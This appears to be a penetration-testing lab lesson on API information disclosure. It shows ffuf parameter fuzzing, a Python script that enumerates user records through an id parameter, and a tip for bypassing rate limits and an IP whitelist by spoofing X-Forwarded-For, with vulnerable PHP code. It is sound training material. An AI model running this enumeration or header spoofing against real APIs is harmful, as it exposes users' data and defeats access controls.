# Information Disclosure (with a twist of SQLi)

As already discussed, security-related inefficiencies or misconfigurations in a web service or API can result in information disclosure.

When assessing a web service or API for information disclosure, we should spend considerable time on fuzzing.

## Information Disclosure through Fuzzing

Proceed to the end of this section and click on Click here to spawn the target system! or the Reset Target icon. Use the provided Pwnbox or a local VM with the supplied VPN key to reach the target API and follow along.

Suppose we are assessing an API residing in http://<TARGET IP>:3003.

Maybe there is a parameter that will reveal the API's functionality. Let us perform parameter fuzzing using *ffuf* and the [burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt) list, as follows.

yovecio@htb[/htb]$ ffuf -w "/home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/burp-parameter-names.txt" -u 'http://<TARGET IP>:3003/?FUZZ=test\_value'  
  
 /'\_\_\_\ /'\_\_\_\ /'\_\_\_\   
 /\ \\_\_/ /\ \\_\_/ \_\_ \_\_ /\ \\_\_/   
 \ \ ,\_\_\\ \ ,\_\_\/\ \/\ \ \ \ ,\_\_\   
 \ \ \\_/ \ \ \\_/\ \ \\_\ \ \ \ \\_/   
 \ \\_\ \ \\_\ \ \\_\_\_\_/ \ \\_\   
 \/\_/ \/\_/ \/\_\_\_/ \/\_/   
  
 v1.3.1 Kali Exclusive <3  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
  
 :: Method : GET  
 :: URL : http://<TARGET IP>:3003/?FUZZ=test\_value  
 :: Wordlist : FUZZ: /home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/burp-parameter-names.txt  
 :: Follow redirects : false  
 :: Calibration : false  
 :: Timeout : 10  
 :: Threads : 40  
 :: Matcher : Response status: 200,204,301,302,307,401,403,405  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
  
:: Progress: [40/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errorpassword [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [40/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errorurl [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [41/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errorc [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [42/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errorid [Status: 200, Size: 38, Words: 7, Lines: 1]  
:: Progress: [43/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Erroremail [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [44/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errortype [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [45/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errorusername [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [46/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errorq [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [47/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errortitle [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [48/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errordata [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [49/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errordescription [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [50/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errorfile [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [51/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errormode [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [52/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [53/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errororder [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [54/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errorcode [Status: 200, Size: 19, Words: 4, Lines: 1]  
:: Progress: [55/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errorlang [Status: 200, Size: 19, Words: 4, Lines: 1]

We notice a similar response size in every request. This is because supplying any parameter will return the same text, not an error like 404.

Let us filter out any responses having a size of 19, as follows.

yovecio@htb[/htb]$ ffuf -w "/home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/burp-parameter-names.txt" -u 'http://<TARGET IP>:3003/?FUZZ=test\_value' -fs 19  
  
   
 /'\_\_\_\ /'\_\_\_\ /'\_\_\_\   
 /\ \\_\_/ /\ \\_\_/ \_\_ \_\_ /\ \\_\_/   
 \ \ ,\_\_\\ \ ,\_\_\/\ \/\ \ \ \ ,\_\_\   
 \ \ \\_/ \ \ \\_/\ \ \\_\ \ \ \ \\_/   
 \ \\_\ \ \\_\ \ \\_\_\_\_/ \ \\_\   
 \/\_/ \/\_/ \/\_\_\_/ \/\_/   
  
 v1.3.1 Kali Exclusive <3  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
  
 :: Method : GET  
 :: URL : http://<TARGET IP>:3003/?FUZZ=test\_value  
 :: Wordlist : FUZZ: /home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/burp-parameter-names.txt  
 :: Follow redirects : false  
 :: Calibration : false  
 :: Timeout : 10  
 :: Threads : 40  
 :: Matcher : Response status: 200,204,301,302,307,401,403,405  
 :: Filter : Response size: 19  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
  
:: Progress: [40/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 id [Status: 200, Size: 38, Words: 7, Lines: 1]  
:: Progress: [57/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0   
:: Progress: [187/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0  
:: Progress: [375/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0  
:: Progress: [567/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0  
:: Progress: [755/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0  
:: Progress: [952/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0  
:: Progress: [1160/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors:   
:: Progress: [1368/2588] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors:   
:: Progress: [1573/2588] :: Job [1/1] :: 1720 req/sec :: Duration: [0:00:01] :: Error  
:: Progress: [1752/2588] :: Job [1/1] :: 1437 req/sec :: Duration: [0:00:01] :: Error  
:: Progress: [1947/2588] :: Job [1/1] :: 1625 req/sec :: Duration: [0:00:01] :: Error  
:: Progress: [2170/2588] :: Job [1/1] :: 1777 req/sec :: Duration: [0:00:01] :: Error  
:: Progress: [2356/2588] :: Job [1/1] :: 1435 req/sec :: Duration: [0:00:01] :: Error  
:: Progress: [2567/2588] :: Job [1/1] :: 2103 req/sec :: Duration: [0:00:01] :: Error  
:: Progress: [2588/2588] :: Job [1/1] :: 2120 req/sec :: Duration: [0:00:01] :: Error  
:: Progress: [2588/2588] :: Job [1/1] :: 2120 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

It looks like *id* is a valid parameter. Let us check the response when specifying *id* as a parameter and a test value.

yovecio@htb[/htb]$ curl http://<TARGET IP>:3003/?id=1  
[{"id":"1","username":"admin","position":"1"}]

Find below a Python script that could automate retrieving all information that the API returns (save it as brute\_api.py).

Code: python

import requests, sys  
  
def brute():  
 try:  
 value = range(10000)  
 for val in value:  
 url = sys.argv[1]  
 r = requests.get(url + '/?id='+str(val))  
 if "position" in r.text:  
 print("Number found!", val)  
 print(r.text)  
 except IndexError:  
 print("Enter a URL E.g.: http://<TARGET IP>:3003/")  
  
brute()

* We import two modules *requests* and *sys*. *requests* allows us to make HTTP requests (GET, POST, etc.), and *sys* allows us to parse system arguments.
* We define a function called *brute*, and then we define a variable called *value* which has a range of *10000*. *try* and *except* help in exception handling.
* *url = sys.argv[1]* receives the first argument.
* *r = requests.get(url + '/?id='+str(val))* creates a response object called *r* which will allow us to get the response of our GET request. We are just appending */?id=* to our request and then *val* follows, which will have a value in the specified range.
* *if "position" in r.text:* looks for the *position* string in the response. If we enter a valid ID, it will return the position and other information. If we don't, it will return *[]*.

The above script can be run, as follows.

yovecio@htb[/htb]$ python3 brute\_api.py http://<TARGET IP>:3003  
Number found! 1  
[{"id":"1","username":"admin","position":"1"}]  
Number found! 2  
[{"id":"2","username":"HTB-User-John","position":"2"}]  
...

Now you can proceed to the end of this section and answer the first question!

**TIP**: If there is a rate limit in place, you can always try to bypass it through headers such as X-Forwarded-For, X-Forwarded-IP, etc., or use proxies. These headers have to be compared with an IP most of the time. See an example below.

Code: php

<?php  
$whitelist = array("127.0.0.1", "1.3.3.7");  
if(!(in\_array($\_SERVER['HTTP\_X\_FORWARDED\_FOR'], $whitelist)))  
{  
 header("HTTP/1.1 401 Unauthorized");  
}  
else  
{  
 print("Hello Developer team! As you know, we are working on building a way for users to see website pages in real pages but behind our own Proxies!");  
}

The issue here is that the code compares the *HTTP\_X\_FORWARDED\_FOR* header to the possible *whitelist* values, and if the *HTTP\_X\_FORWARDED\_FOR* is not set or is set without one of the IPs from the array, it'll give a 401. A possible bypass could be setting the *X-Forwarded-For* header and the value to one of the IPs from the array.

## Information Disclosure through SQL Injection

SQL injection vulnerabilities can affect APIs as well. That *id* parameter looks interesting. Try submitting classic SQLi payloads and answer the second question.